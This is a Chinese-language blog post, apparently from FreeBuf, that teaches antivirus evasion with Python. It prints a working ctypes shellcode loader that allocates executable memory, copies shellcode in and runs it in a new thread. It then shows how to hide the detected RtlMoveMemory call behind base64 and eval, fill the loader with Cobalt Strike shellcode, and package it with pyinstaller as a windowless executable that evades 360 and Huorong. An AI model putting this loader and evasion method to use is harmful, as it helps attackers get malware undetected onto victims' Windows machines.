freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

python bypass杀软第一季
2021-01-24 13:18:21

python bypass杀软第一季

python bypass360、火绒=-=

今天看b站看了yuppt大佬的免杀思路,决定记录下来,学习一下。

环境:python3.8.0_x86、CS4.0、火绒、360全家桶、pyintaller、帅哥一个。


1、 python的shellcode加载器:网上随便找都有。

# coding: utf-8
import ctypes
shellcode = b''
shellcode = bytearray(shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
h = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))

2、这个加载器肯定是不免杀的,想免杀就要做点手脚,=-=比如买杀软的手脚。由于杀软不可能把shellcode直接杀掉,所以我们就来看一下杀软把哪一个函数给查杀了,手动fuzz发现,查杀的是:ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))

image

3、想办法对ctypes.windll.kernel32.RtlMoveMemory这个函数进行处理。=-=各位表哥们的方法肯定很多,我这里就用最简单的方法进行处理,base64加密。

image

4、加密之后要怎么让这个代码执行呢,所以就要用到python的执行函数。eval大哥,其实还有很多可以代替eval函数,比如各位大佬应该可以想到exec吧。

image

5、用杀软先扫描一下,我先去买杀软的手脚,买好了,现在不杀了,成功bypass。

image

6、接来下就是拿出CS,生成一个c语言的shellcode。

image

7、然后把shellcode丢进加载器中。

image

8、使用pyintaller生成exe文件,启动杀软,=-=,点击运行,等待CS上线,完美过火绒、360动态和静态。ps:要想不要黑框,在打包的时候加-w参数就行了。

image

image

9、最后希望各位表哥们可以多多带上弟弟一起学习。

# python # 免杀 # 内网安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者